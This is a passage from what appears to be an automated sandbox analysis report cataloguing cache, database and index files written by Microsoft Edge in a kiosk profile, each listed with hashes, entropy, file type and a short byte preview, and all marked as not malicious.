SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.05980711820469824
Encrypted:	false
SSDEEP:	6:/FoEXETlUkM/l+/TzlDmP/aBeDiQvfllz2SXM/ls1gmI3dK1oDq:d7X6E+/FDBiiAf/z2SXEqg5dKS
MD5:	5DB365A237160B00C148D1049CA2137C
SHA1:	EE663912E75C02153A16454250F1B8B79CC15295
SHA-256:	05CB589BBA4461CD6F31EE31A10A96566D4618CB9F278C381C8ADE131715A3F8
SHA-512:	1F5F017EB57C0C1E44CC2A38BC090FB1EDCBDF763AC5BE88BCD15AE845807329EC36A39474AD597B92612F2488FAF9F16C431B64294EFE1C41281529C87A7DEC
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.12869518917840206
Encrypted:	false
SSDEEP:	48:lV4A3esZ6V4XesrAzNUeqbT3lWp417voMaV4Tes4Hc:lV4A33UV4X3rAzNLq33L1ExV4T34
MD5:	6C4371F7741C39D68D8F1BBBDB9955A0
SHA1:	779732C787C042F4C26F8F192DC76E3D5A7367D1
SHA-256:	AD054EBABD68D7E93EBBACC839EEEDDBAB975DA2EED947C122FCBD1DAB3C6D1D
SHA-512:	52BF9C37C738B6EC80085352C2C5EC5BFBBF61992DC8E200AFD161F544075477039BE8ACAA285D1776DC94484AE0665753A582893D3E60529B9C9BA18512264F
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1056768
Entropy (8bit):	0.37203704452543723
Encrypted:	false
SSDEEP:	768:6NByJttNByJtuVRzJtwVRzJtQ6QJteNByJts0VRzJt:2CHqVj8
MD5:	283D55640A9DB44D3E024E00A8CF9FCA
SHA1:	EDAB9D36064504E12C11D9EDCA3D6D7EB7361AF3
SHA-256:	4DDFE53201417E6A37183CDBBF71815FF2616C32B1651F2F0451DC4DE14177EE
SHA-512:	CA82A03652547DCDA1367FB448BD348F2DD7AEA91C259DE186AE8E8ECEF7B6BAFA2CAFCAF80C1114AAD4F74C0D21D2CDC4B78A680DD0AD4F102FF2643B1A9CF4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4202496
Entropy (8bit):	0.04312480187296375
Encrypted:	false
SSDEEP:	192:rH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNd:rOKSXs/J7mGnQmLu5/5eNd
MD5:	4D3862637A3E49DEA6B0E914424F7F3E
SHA1:	2ADD705EDC5981DFA1DDA043EF8917DD416CA4B3
SHA-256:	081133A6F01292BF3CDF0BFBAE44EEE97EC2920D820294EA0447EE2D71249D58
SHA-512:	FA1B6C0C9D28F5686D65A17D43EC6473524C7D576CADA3BA68A94B85375C703E750F624CA82ED3A431DBF5A41203A974E041BFCC6681E04CFBE708B34A4AA861
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\f_000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, was "asset", last modified: Fri Aug 2 18:10:34 2024, max compression, original size modulo 2^32 374872
Category:	dropped
Size (bytes):	70207
Entropy (8bit):	7.995911906073242
Encrypted:	true
SSDEEP:	1536:VzseWV/dT2G9zm5w0vgxQUFm6SM6ZYRuB61K+aK+POIwPru:VoNQGIwvs6S9+I6RWPOIwTu
MD5:	9F5A7E038BF08B13BD15338EC7BD4E16
SHA1:	AB69D28EEA9AE289BB86159C341910538CDDE5B9
SHA-256:	BA0BCBBF170ADB0B5119D19D56C2D004579507DFC4A9215BCCC8663C8A486AF8
SHA-512:	48557ECD56DFD2157304FE752E15E44314667EFC79E6C21312723251E4E1F1BF5BE0A76F88F4B4D83FADB9D81BFB1835B1C0E5CFA7B07214A605F58064BB94B1
Malicious:	false
Preview:	.....!.f..asset.....6.0.W..3....[........9m;.....IH.E...j...}.....PR..w.gg.....@.P...?...x....?./.%..Q...x....}..9..e..f.8..Yb@g...i..$...I.......<....k...{..{.Qg..k..q.....i.Y}..._......\?....5 .5 .`..._i'@....H'.f!...x`...f......v.._1w.u.<.........5.:..^.Ua....H6...x....D:.R..L..2.,.s.f.......FE'..%{]-;+.`....N...=\|.:q...9N.k..i.I.8E.i.I.s..Y...8..fe'...Xo...Xo...#.r$N.u2.o.]....^,.k....{E."......Q.N...AY..u.^o.............Z..ce.irN.{.O$.C.......HJ.HJ..J..hOgA.5.nW.\........}E.%-.A."a<..~.[O....~.......xX.G?Y.3O8d8I...&X....V4...0=.iS....].D.L@.YiS...<.W..W+..#mj...p..8^.\U;oV;W`..^..V...G..SC.9.....i%@g.iS=..`..#.H.p.q..E.q...)....).X..M.X.%.,i.%..V..6.nk.@1S@-..Y.6....K.n....:c.My.....h...9..q...f't.iS.v..6D7...d't.iS.v..F.....faG.t.f....lR.J@!l.0O..T.....T2...\.n..-....L..ES.9.:...B..P1@...P.l.fX.aV..Y6.B5......Mt..SS,l..+..J...).i.6......8...:.Z...2.H.8..Z.>.5.Oi..N`:..6.i.n.h.l.e.h.T\.lr...TE+m.T..).D..F..+.6....J...x.`..`.m..H..i....p...v

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\f_000002

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403024
Entropy (8bit):	4.987691454989427
Encrypted:	false
SSDEEP:	1536:HYbzOWIwetxI2LpvNCIFu77T38WJ5BR8Mm6EW9uU8ywMsF9leE08d207nMGvykSB:EPenNgBRrmVlr0K2lP/lFlWfEwlCx
MD5:	8F9BDA485854A823E20B47C4897937CF
SHA1:	A86D1E2D3AE6E2F2CAF52DAF6D839EB02FE4B334
SHA-256:	67487ABF17DE6084CF6D117F0551E92D3BA8DC70B08D17D3685603451799EF28
SHA-512:	5C94F19AE23F4220C455DBAD0DB1640A47D981D45306939496744CC1DF2BD5980F25E417C764661CBD608D69E178CB4795763E04F21F5812AC0BA7BBCAA1008C
Malicious:	false
Preview:	{.. "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}",.. "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}",.. "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",.. "2cvresearch.decipherinc.com": "{\"Tier1\": [8405], \"Tier2\": [379, 6101]}",.. "3817341.extforms.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [7746]}",.. "3cx.integrafin.co.uk": "{\"Tier1\": [8405, 6061], \"Tier2\": [2863, 5391]}",.. "4540582.extforms.netsuite.com": "{\"Tier1\": [8405], \"Tier2\": [228, 236, 7746]}",.. "7589.directpaper.name": "{\"Tier1\": [8405], \"Tier2\": []}",.. "7a201srvitportl.cymru.nhs.uk": "{\"Tier1\": [], \"Tier2\": [9870]}",.. "7a3cjsvmifitla1.cymru.nhs.uk": "{\"Tier1\": [6061], \"Tier2\": [1092]}",.. "7a3cjsvmlivwebb.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": [9870, 9813]}",.. "8ballpool.com": "{\"Tier1\": [8741, 3907, 983], \"Tier2\": [9151, 5779, 6916]}",..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:Lsulv/a+lll:Lsv+lll
MD5:	5DC89D139D40DFD37CA79CA5F7BF0C30
SHA1:	ECA526511A9D8770BD8DD4CA1AF400D8526F51B9
SHA-256:	B9F321801B748BD756161B35E2A8C075C83A38B9A1BB68DCD56B82331584A093
SHA-512:	D5FA44340EE62D361E0E52D5667CE68439469DA33444413FB86629DE54D7E41488C03E0289DFE4373C398772C4DC2FF8787929FE1261A4037F359699E7710A09
Malicious:	false
Preview:	.........................................xtv../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:/4uEnw/Bl:wpnw/Bl
MD5:	BB6D0B7B5B2EF0DDFB2282891D47DC9A
SHA1:	3A4CA837AAED7787DA23CEDBC3EDC3EB0C10F204
SHA-256:	7A05DB54AC0796B8C2B37A36FC219C489F653C07573AE16126940DB1D05F90D7
SHA-512:	D2A353F1F3D77A82E1D1ABF15FACFC4A7C9D0DBD5C565D2EC65976EBFBC342B7DFB87428E16684E29E0C3F912E2E810DDB1451D693E70D3B45C9C0DBE94C3220
Malicious:	false
Preview:	(...b.YPoy retne........................;Gdv../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:/4uEnw/Bl:wpnw/Bl
MD5:	BB6D0B7B5B2EF0DDFB2282891D47DC9A
SHA1:	3A4CA837AAED7787DA23CEDBC3EDC3EB0C10F204
SHA-256:	7A05DB54AC0796B8C2B37A36FC219C489F653C07573AE16126940DB1D05F90D7
SHA-512:	D2A353F1F3D77A82E1D1ABF15FACFC4A7C9D0DBD5C565D2EC65976EBFBC342B7DFB87428E16684E29E0C3F912E2E810DDB1451D693E70D3B45C9C0DBE94C3220
Malicious:	false
Preview:	(...b.YPoy retne........................;Gdv../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.939830830432992
Encrypted:	false
SSDEEP:	3:V+T0X00E8e3Kln:U5il
MD5:	2FCB8252EDB319AE6A5803AD3D3B0C95
SHA1:	394E2F014158FE32D59B2D44153D00F6DCA7C997
SHA-256:	DD848232F0598B5C7BA9629FE85BD4BDBD0E1297E86FDEF6EB5FC6EB7EF2B184
SHA-512:	B7799A79012EB732ABC84E7B1C449418B4E088134D727CDE55DBB53F642BE3E6ED6FDECBF7D8E84A9CA98859FBEFF81C7B3412074535B6BF82C1698E1971190B
Malicious:	false
Preview:	(.......oy retne........................`;ev../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.939830830432992
Encrypted:	false
SSDEEP:	3:V+T0X00E8e3Kln:U5il
MD5:	2FCB8252EDB319AE6A5803AD3D3B0C95
SHA1:	394E2F014158FE32D59B2D44153D00F6DCA7C997
SHA-256:	DD848232F0598B5C7BA9629FE85BD4BDBD0E1297E86FDEF6EB5FC6EB7EF2B184
SHA-512:	B7799A79012EB732ABC84E7B1C449418B4E088134D727CDE55DBB53F642BE3E6ED6FDECBF7D8E84A9CA98859FBEFF81C7B3412074535B6BF82C1698E1971190B
Malicious:	false
Preview:	(.......oy retne........................`;ev../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl7kT5l/l:Ls3atl
MD5:	656A27C1D79C024BA40F8BDE6FC3B31C
SHA1:	DEA9FA5652BD02A406F042C87C63EA73B9560D38
SHA-256:	589453C909F571A5A2590828E7B0B1BE66E3CCD52310545CE4B369CE25FC12EC
SHA-512:	9292E4290D546D7DEE544ECE183BF13A16DF2027C306F045A70AC3ED7AABD47970943B34C16AA04033863D01F17AB28512C01ADCC44DA24D3B5B2459DE82EBA0
Malicious:	false
Preview:	...........................................v../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5094712832659277
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7me5q4iZ7dV:TLqpR+DDNzWjJ0npnyXKUO8+j25XmL
MD5:	D4971855DD087E30FC14DF1535B556B9
SHA1:	9E00DEFC7E54C75163273184837B9D0263AA528C
SHA-256:	EC7414FF1DB052E8E0E359801F863969866F19228F3D5C64F632D991C923F0D2
SHA-512:	ACA411D7819B03EF9C9ACA292D91B1258238DF229B4E165A032DB645E66BFE1148FF3DCFDAC3126FCD34DBD0892F420148E280D9716C63AD9FCDD9E7CA58D71D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354176277883171
Encrypted:	false
SSDEEP:	6144:KA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:KFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	5512B7925F408D827976158FEF72C02B
SHA1:	354CD0ABEBAEBB9EE2C065A44EC6C88B9E7552A6
SHA-256:	D87618EACC96ED24719634CC159C767395363A858A23DE495150648F7BA30C7E
SHA-512:	6241E724D022B593C6E441CFD3E8A88BAE7675D98536220AADB28465FF992116507B03D62079B94772D170926AEA223EE7153F7AAC370C52C2E05BFBDC471F25
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13369625299852325..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
